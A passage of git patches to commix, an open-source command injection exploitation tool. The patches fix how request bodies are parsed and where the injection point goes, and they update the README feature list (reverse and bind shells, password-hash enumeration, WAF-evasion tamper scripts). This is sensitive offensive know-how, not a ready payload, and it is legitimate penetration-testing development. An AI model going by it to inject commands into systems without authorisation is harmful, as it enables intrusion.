parameter(s). - if checks.ignore_anticsrf_parameter(all_params[param]): + if checks.ignore_anticsrf_parameter(all_params[param]) or checks.ignore_stateful_parameter(all_params[param]): if param > 0: all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue @@ -464,7 +464,7 @@ def handle_single_post_parameter(parameter, multi_parameters, http_request_metho return parameter else: # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(parameter): + if checks.ignore_anticsrf_parameter(parameter) or checks.ignore_stateful_parameter(parameter): return parameter # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: @@ -523,7 +523,7 @@ def handle_multiple_post_parameters(parameter, multi_parameters, http_request_me # Grab the value of parameter. value = multi_params_get_value(param, all_params) # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(all_params[param]): + if checks.ignore_anticsrf_parameter(all_params[param]) or checks.ignore_stateful_parameter(all_params[param]): if param > 0: all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue @@ -741,7 +741,7 @@ def do_cookie_check(cookie): # Check if single paramerter is supplied. if len(multi_parameters) == 1: # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(cookie): + if checks.ignore_anticsrf_parameter(cookie) or checks.ignore_stateful_parameter(cookie): return cookie # Ignoring the Google analytics cookie parameter. if cookies.ignore_google_analytics_cookie(cookie): @@ -773,7 +773,7 @@ def do_cookie_check(cookie): # Grab the value of cookie. value = multi_params_get_value(all_params[param]) # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(all_params[param]): + if checks.ignore_anticsrf_parameter(all_params[param]) or checks.ignore_stateful_parameter(all_params[param]): if param > 0: all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 1762b72a85..4350c2ff94 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -35,8 +35,8 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): if code in (301, 302, 303, 307): settings.REDIRECT_CODE = code if not settings.FOLLOW_REDIRECT: - if code not in settings.IGNORE_CODE: - settings.IGNORE_CODE.append(code) + # Not following a redirect is our own decision to remember, not one the user asked for. + settings.WARNED_HTTP_ERROR_CODES.add(int(code)) return None # Preserve the original method, not HEAD. return Request(newurl.replace(' ', '%20'), diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e004f9339c..44462e01f3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -469,11 +469,11 @@ def request_failed(err_msg): return True elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] - if not (len(settings.IGNORE_CODE) != 0 and any(str(x) in str(error_msg).lower() for x in settings.IGNORE_CODE)): + if not checks.ignored_http_error_code(status_code[0]) and int(status_code[0]) not in settings.WARNED_HTTP_ERROR_CODES: warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) warn_msg += "' which could interfere with the results of the tests." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - settings.IGNORE_CODE.append(status_code[0]) + settings.WARNED_HTTP_ERROR_CODES.add(int(status_code[0])) if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): return False return True @@ -496,7 +496,7 @@ def request_failed(err_msg): return False elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ - (len(settings.IGNORE_CODE) != 0 and any(str(x) in str(error_msg).lower() for x in settings.IGNORE_CODE)): + any(checks.ignored_http_error_code(_) for _ in settings.HTTP_ERROR_CODES if _ in str(error_msg)): return False elif settings.IGNORE_ERR_MSG == False: diff --git a/src/utils/menu.py b/src/utils/menu.py index 7c8b142e73..2c5b19d6c6 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -780,6 +780,9 @@ def _(self, *args): # Remember whether '--web-root' was explicitly supplied on the CLI settings.USER_APPLIED_WEB_ROOT = bool(options.web_root) +# Remember whether '--retries' was explicitly supplied, since it carries a default of its own +settings.USER_APPLIED_RETRIES = any(_ in sys.argv for _ in ("--retries",)) or any(_.startswith("--retries=") for _ in sys.argv) + # Remember whether '--auth-cred'/'--auth-type' were explicitly supplied on the CLI settings.USER_APPLIED_AUTH_CRED = bool(options.auth_cred) settings.USER_APPLIED_AUTH_TYPE = bool(options.auth_type) diff --git a/src/utils/settings.py b/src/utils/settings.py index 6efcc3905b..7537d14eac 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "119" +REVISION = "120" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -707,6 +707,7 @@ class OS(object): # The higher the value is, the higher the number of HTTP(s) requests are. (Default: 1) INJECTION_LEVEL = 0 USER_APPLIED_LEVEL = False +USER_APPLIED_RETRIES = False PERFORM_BASIC_SCANS = True # Default Temp Directory @@ -1211,8 +1212,15 @@ class RetryTechniqueException(Exception): IS_JSON = False IS_VALID_JSON = False +# Parameters holding session or framework state: injecting into one of these does not test the +# application, it logs the session out or makes the request invalid before it is even handled. +IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", + "__EVENTTARGET", "__EVENTVALIDATION", "__SCROLLPOSITIONX", "__SCROLLPOSITIONY", + "__PREVIOUSPAGE", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "PHPSESSID", + "SESSID", "CFID", "CFTOKEN") + # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens -CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token") +CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token", "nonce") # Largest chunk built by the '--chunked' option, small enough to break up what a filter looks for. MAX_CHUNK_SIZE = 9 @@ -1660,7 +1668,7 @@ class END_LINE: BLOCKED_IP_DETECTED = None # Prefix for Google analytics cookie names -GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" +GOOGLE_ANALYTICS_COOKIE_REGEX = r"(?i)\A(_ga|_gid|_gat|_gcl_au|__utm[abcz])" # Default path for tamper scripts TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/")) + "/" @@ -1771,6 +1779,8 @@ class END_LINE: # Ignore on (problematic) HTTP error code (e.g. 401). IGNORE_CODE = [] +# HTTP error codes already warned about, kept apart from what the user chose to ignore. +WARNED_HTTP_ERROR_CODES = set() # Default crawling depth DEFAULT_CRAWLING_DEPTH = 1 From 14bbb33d776363443e9c257ebce3cf7052ddae7b Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 11 Sep 2026 16:41:02 +0300 Subject: [PATCH 0778/1023] Fixed several issues affecting the parsing of the provided request data and the placement of the injection point --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 53 +++++++++++++++++++- src/core/injections/controller/controller.py | 2 +- src/core/main.py | 6 +++ src/core/requests/parameters.py | 40 ++++++++++++--- src/core/requests/requests.py | 2 +- src/utils/settings.py | 12 ++++- 7 files changed, 105 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8ae46f5a1f..67e9476544 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Several issues affecting the parsing of the provided request data and the placement of the injection point. * Fixed: A parameter given with `-p` no longer stops anti-CSRF parameters from being skipped everywhere else. * Fixed: HTTP error codes met during a scan are no longer added to the list of codes given with `--ignore-code`. * Added: Parameters holding session or framework state (e.g. "__VIEWSTATE", "PHPSESSID") are skipped unless asked for by name. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0a3d550f7c..8e96808293 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1322,6 +1322,13 @@ def check_url(url): Verify whether the URL scheme is HTTP or HTTPS. """ def check_http_s(url): + # A fragment never leaves the client, so a payload placed after one would silently not be sent. + if "#" in url: + url, fragment = url.split("#", 1) + if fragment and not settings.FRAGMENT_IGNORED: + settings.FRAGMENT_IGNORED = True + warn_msg = "Ignoring the fragment ('#" + fragment + "') of the provided URL, since it is not sent to the target." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) url_split = check_url(url) if url_split.username and url_split.password and "@" in url_split.netloc: url = url.replace(url_split.netloc,url_split.netloc.split("@")[1]) @@ -2370,7 +2377,51 @@ def nested_json_msg(data): """ def format_json(data): nested_json_msg(data) - return json.dumps(data, indent=2, ensure_ascii=False) + indent, separators = settings.JSON_FORMATTING + return json.dumps(data, indent=indent, ensure_ascii=False, separators=separators) + +""" +Put back the whitespace that sat between the XML tags, which the parameter split replaced. +""" +def restore_xml_layout(data): + if not settings.IS_XML or not settings.XML_TAG_SEPARATORS: + return data + separators = list(settings.XML_TAG_SEPARATORS) + # A payload of its own could add a boundary, and then the recorded layout no longer lines up. + if len(re.findall(r">\s*<", data)) != len(separators): + return data + return re.sub(r">\s*<", lambda match: ">" + separators.pop(0) + "<", data) + +""" +A body that is reflowed no longer matches what the target was given, so keep the supplied layout. +""" +def json_formatting(data): + if settings.END_LINE.LF in data.strip(): + return (2, None) + return (None, (", ", ": ") if ", " in data else (",", ":")) + +""" +A repeated key cannot survive being parsed into an object, so warn rather than drop one quietly. +""" +def warn_on_duplicate_json_keys(data): + if settings.DUPLICATE_JSON_KEYS_WARNED: + return + seen, duplicates = set(), set() + def _hook(pairs): + for name, _ in pairs: + if name in seen: + duplicates.add(name) + seen.add(name) + return OrderedDict(pairs) + try: + json.loads(data, object_pairs_hook=_hook) + except Exception: + return + if duplicates: + settings.DUPLICATE_JSON_KEYS_WARNED = True + warn_msg = "The provided JSON data repeats the key" + "s"[len(duplicates) == 1:] + " '" + "', '".join(sorted(duplicates)) + warn_msg += "'. Only the last occurrence of each is kept." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Parsing and unflattening JSON data. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0ef7a5a4fc..c65142e2d4 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -141,7 +141,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC) if not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - data = checks.process_injectable_value(payload, menu.options.data).encode(settings.DEFAULT_CODEC) + data = checks.restore_xml_layout(checks.process_injectable_value(payload, menu.options.data)).encode(settings.DEFAULT_CODEC) else: if settings.USER_DEFINED_POST_DATA: settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA) diff --git a/src/core/main.py b/src/core/main.py index 1272901cd1..96b2af4948 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -360,6 +360,12 @@ def init_injection(url): settings.CUSTOM_FILENAME = "" settings.CONFIRMED_BOUNDARY = {} + # A whitespace chosen by a tamper suits the target it was chosen for, not the next one: start + # from the default and let the tampers in use pick again, for this target's operating system. + settings.WHITESPACES = [_urllib.parse.quote(settings.SINGLE_WHITESPACE)] + if menu.options.tamper: + checks.perform_payload_modification(payload="") + # Reset web-root state settings.WEB_ROOT = "" settings.DEFAULT_WEB_ROOT = "" diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 6d1d286202..50e6696854 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -183,6 +183,9 @@ def do_GET_check(url, http_request_method): if checks.ignore_anticsrf_parameter(parameters) or checks.ignore_stateful_parameter(parameters): return urls_list if len(value) == 0: + # An empty or absent value is still an empty value, so '--skip-empty' applies here too. + if menu.options.skip_empty: + return urls_list parameters = parameters + settings.INJECT_TAG else: parameters = apply_tag_to_value(parameters, value) @@ -322,7 +325,9 @@ def multi_params_get_value(param, all_params): flat = flatten(json.loads(all_params[param], object_pairs_hook=OrderedDict)) value = json.dumps(list(flat.values())[0]) except Exception: - value = re.findall(r'\:(.*)', all_params[param]) + # The whitespace after the colon belongs to the document's layout, not to the value, and a + # value carrying it would no longer be found in the fragment it came from. + value = re.findall(r'\:\s*(.*)', all_params[param]) if not value: value = all_params[param] value = ''.join(value) @@ -387,7 +392,15 @@ def json_int_check(parameter, value): Detect the POST body's data format (JSON/XML/plain) and set the relevant settings. """ def configure_post_data_format(parameter, http_request_method): - parameter = checks.process_custom_injection_data(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") + # The layout has to be read before anything rewrites it, and only from a body that is still + # the one the user supplied - later calls arrive with the injection tag already in place. + supplied = parameter if settings.INJECT_TAG not in parameter else None + parameter = checks.process_custom_injection_data(parameter) + # Single quotes and spacing are rewritten to make JSON-shaped data parseable, so that rewrite is + # only kept when the result is in fact JSON - a form body must reach the target as it was given. + json_shaped = parameter.replace("'","\"").replace(", ",",").replace(",\"", ", \"") + if checks.is_JSON_check(json_shaped) or checks.is_JSON_check(checks.check_quotes_json_data(json_shaped)): + parameter = json_shaped # Check if JSON Object. if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)): if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): @@ -396,6 +409,9 @@ def configure_post_data_format(parameter, http_request_method): data_type = "JSON" settings.IS_JSON = checks.process_data(data_type, http_request_method) settings.POST_DATA_PARAM_DELIMITER = "," + checks.warn_on_duplicate_json_keys(parameter) + if supplied is not None: + settings.JSON_FORMATTING = checks.json_formatting(supplied) # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: @@ -421,6 +437,9 @@ def split_post_parameters(parameter): if expanded_parameter != parameter: parameter = expanded_parameter menu.options.data = expanded_parameter + # The split below replaces the whitespace between tags, so keep it to rebuild the body later. + # It is read from the body as supplied, since by now the parameter may already carry delimiters. + settings.XML_TAG_SEPARATORS = re.findall(r">(\s*)<", settings.USER_DEFINED_POST_DATA or parameter) # Shield leaf elements before the ">"/"<" split below. parameter, _shielded = shield_xml_leaves(parameter) parameter = re.sub(r">\s*<", ">" + settings.POST_DATA_PARAM_DELIMITER + "<", parameter) @@ -482,7 +501,12 @@ def handle_single_post_parameter(parameter, multi_parameters, http_request_metho if settings.IS_JSON and anchor not in parameter: anchor = ":" + value if settings.IS_JSON and anchor in parameter: - parameter = parameter.replace(anchor, anchor + settings.INJECT_TAG) + # A tag appended after the closing quote leaves the value untouched and the body + # invalid, so a quoted value takes the tag inside its own quotes. + if len(value) > 1 and value.startswith("\"") and value.endswith("\""): + parameter = parameter.replace(anchor, anchor[:-1] + settings.INJECT_TAG + "\"", 1) + else: + parameter = parameter.replace(anchor, anchor + settings.INJECT_TAG, 1) else: parameter = parameter.replace(value, value + settings.INJECT_TAG) @@ -683,7 +707,9 @@ def prefixes(payload, prefix): prefix = pre_custom + prefix # Check if defined "--prefix" option. if menu.options.prefix and not settings.LOAD_SESSION: - if not menu.options.prefix in prefix: + # Containment is not the question: a boundary that happens to hold the same character is not + # the boundary the user asked for. + if not prefix.endswith(menu.options.prefix): prefix = prefix + menu.options.prefix payload = prefix + payload @@ -705,9 +731,9 @@ def suffixes(payload, suffix): if post_custom: if post_custom not in suffix: suffix = suffix + post_custom - # Check if defined "--suffix" option. - elif menu.options.suffix and not settings.LOAD_SESSION: - if not menu.options.suffix in suffix: + # Check if defined "--suffix" option, the way a prefix is handled just above. + if menu.options.suffix and not settings.LOAD_SESSION: + if not suffix.endswith(menu.options.suffix): suffix = suffix + menu.options.suffix payload = payload + suffix diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 44462e01f3..a74551bee6 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -568,7 +568,7 @@ def init_injection(payload, http_request_method, url): except ValueError: pass elif settings.IS_XML: - data = checks.process_injectable_value(_urllib.parse.unquote(payload), menu.options.data) + data = checks.restore_xml_layout(checks.process_injectable_value(_urllib.parse.unquote(payload), menu.options.data)) else: data = checks.process_injectable_value(payload, menu.options.data) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) diff --git a/src/utils/settings.py b/src/utils/settings.py index 7537d14eac..f88c5b2538 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "120" +REVISION = "121" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1211,6 +1211,16 @@ class RetryTechniqueException(Exception): # JSON Data IS_JSON = False IS_VALID_JSON = False +# Whether the URL fragment being dropped has already been reported. +FRAGMENT_IGNORED = False +# Whether repeated JSON keys have already been reported. +DUPLICATE_JSON_KEYS_WARNED = False + +# Indentation and separators of the JSON body as supplied, so it is rebuilt the way it arrived. +JSON_FORMATTING = (2, None) + +# Whitespace between the XML tags as supplied, so the body is rebuilt the way it arrived. +XML_TAG_SEPARATORS = [] # Parameters holding session or framework state: injecting into one of these does not test the # application, it logs the session out or makes the request invalid before it is even handled. From 819e631dd1986c5a47c3ed353ead75a54c5ca1b3 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 11 Sep 2026 20:04:19 +0300 Subject: [PATCH 0779/1023] Trivial README.md update --- README.md | 5 ++--- doc/translations/README-es-ES.md | 5 ++--- doc/translations/README-fa-FA.md | 5 ++--- doc/translations/README-fr-FR.md | 5 ++--- doc/translations/README-gr-GR.md | 5 ++--- doc/translations/README-idn-IDN.md | 5 ++--- doc/translations/README-tr-TR.md | 5 ++--- 7 files changed, 14 insertions(+), 21 deletions(-) diff --git a/README.md b/README.md index 7c80cc6c2b..e7a724872c 100644 --- a/README.md +++ b/README.md @@ -12,11 +12,10 @@ <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> </p> -**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command injection](https://owasp.org/www-community/attacks/Command_Injection)** vulnerabilities. +**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command](https://owasp.org/www-community/attacks/Command_Injection)** (and **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection vulnerabilities. ![Screenshot](https://commixproject.com/images/background.png) @@ -37,7 +36,7 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. * **Interactive shells** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, and file `download`/`upload` over the established shell. * **Enumeration and file access** - current user, hostname, privileges, system information, users and password hashes; read from and write to files on the target host. -* **Filter and WAF evasion** - 22 combinable tamper scripts, applied in a deterministic order. +* **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. * **Flexible targeting** - a single URL, a crawl, HTML forms, a sitemap, a proxy log, a bulk file, a raw HTTP request file, or piped `stdin`. * **Resumable scans** - results are stored per target in a session file, and can be exported to JSON. * **Wide back-end support** - PHP, Python, Perl, Ruby and CGI, with experimental support for ASP.NET and JSP. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 8c2ceb27d5..015883540b 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -12,11 +12,10 @@ <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> </p> -**Commix** (abreviatura de [**comm**]and [**i**]njection e[**x**]ploiter) es una herramienta de pruebas de penetración de código abierto, escrita por **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), que automatiza la detección y explotación de vulnerabilidades de tipo **[command injection](https://owasp.org/www-community/attacks/Command_Injection)**. +**Commix** (abreviatura de [**comm**]and [**i**]njection e[**x**]ploiter) es una herramienta de pruebas de penetración de código abierto, escrita por **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), que automatiza la detección y explotación de vulnerabilidades de tipo **[command](https://owasp.org/www-community/attacks/Command_Injection)** (y **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection. ![Screenshot](https://commixproject.com/images/background.png) @@ -39,7 +38,7 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi * **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. * **Shells interactivas** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, y transferencia de archivos (`download`/`upload`) a través de la shell establecida. * **Enumeración y acceso a archivos** - usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas; lectura y escritura de archivos en el objetivo. -* **Evasión de filtros y WAF** - 22 scripts de manipulación (tamper) combinables, aplicados en un orden determinista. +* **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables, aplicados en un orden determinista. * **Objetivos flexibles** - una única URL, un rastreo del sitio, formularios HTML, un sitemap, un registro de proxy, un archivo con varios objetivos, un archivo con una petición HTTP en bruto o entrada por `stdin`. * **Análisis reanudables** - los resultados se almacenan por objetivo en un archivo de sesión y pueden exportarse a JSON. * **Amplio soporte de back-end** - PHP, Python, Perl, Ruby y CGI, con soporte experimental para ASP.NET y JSP. diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 5b9f2ab68d..fcc660e6f4 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -12,11 +12,10 @@ <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> </p> -**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند اینجکشن](https://owasp.org/www-community/attacks/Command_Injection)** را خودکار می‌کند. +**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند](https://owasp.org/www-community/attacks/Command_Injection)** (و **[کد](https://owasp.org/www-community/attacks/Code_Injection)**) اینجکشن را خودکار می‌کند. ![Screenshot](https://commixproject.com/images/background.png) @@ -39,7 +38,7 @@ * **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **پوسته‌های تعاملی** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، و انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده. * **شمارش و دسترسی به فایل** - کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها؛ خواندن و نوشتن فایل روی هدف. -* **دور زدن فیلترها و WAF** - ۲۲ اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. +* **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. * **هدف‌گذاری انعطاف‌پذیر** - یک URL، پویش سایت، فرم‌های HTML، sitemap، گزارش پروکسی، فایل چندهدفی، فایل درخواست خام HTTP یا ورودی `stdin`. * **پویش‌های قابل ازسرگیری** - نتایج به تفکیک هدف در یک فایل نشست ذخیره می‌شوند و می‌توان آن‌ها را به JSON خروجی گرفت. * **پشتیبانی گسترده از بک‌اند** - PHP، Python، Perl، Ruby و CGI، با پشتیبانی آزمایشی از ASP.NET و JSP. diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 99167086ea..b28aeb3348 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -12,11 +12,10 @@ <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> </p> -**Commix** (abréviation de [**comm**]and [**i**]njection e[**x**]ploiter) est un outil open source de test d'intrusion, écrit par [**Anastasios Stasinopoulos**](https://github.com/stasinopoulos) ([**@ancst**](https://x.com/ancst)), qui automatise la détection et l'exploitation des vulnérabilités de type [**command injection**](https://owasp.org/www-community/attacks/Command_Injection). +**Commix** (abréviation de [**comm**]and [**i**]njection e[**x**]ploiter) est un outil open source de test d'intrusion, écrit par [**Anastasios Stasinopoulos**](https://github.com/stasinopoulos) ([**@ancst**](https://x.com/ancst)), qui automatise la détection et l'exploitation des vulnérabilités de type [**command**](https://owasp.org/www-community/attacks/Command_Injection) (et [**code**](https://owasp.org/www-community/attacks/Code_Injection)) injection. ![Screenshot](https://commixproject.com/images/background.png) @@ -39,7 +38,7 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co * **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. * **Shells interactifs** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, et le transfert de fichiers (`download`/`upload`) via le shell établi. * **Énumération et accès aux fichiers** - utilisateur courant, nom d'hôte, privilèges, informations système, utilisateurs et empreintes de mots de passe ; lecture et écriture de fichiers sur la cible. -* **Contournement des filtres et des WAF** - 22 scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. +* **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. * **Ciblage flexible** - une URL unique, une exploration du site, des formulaires HTML, un sitemap, un journal de proxy, un fichier de cibles multiples, un fichier de requête HTTP brute ou une entrée `stdin`. * **Analyses reprenables** - les résultats sont stockés par cible dans un fichier de session et peuvent être exportés en JSON. * **Large prise en charge des back-ends** - PHP, Python, Perl, Ruby et CGI, avec une prise en charge expérimentale d'ASP.NET et JSP. diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index f58aedd433..4ee732e8ca 100644 --- a/doc/translations/README-gr-GR.md +++ 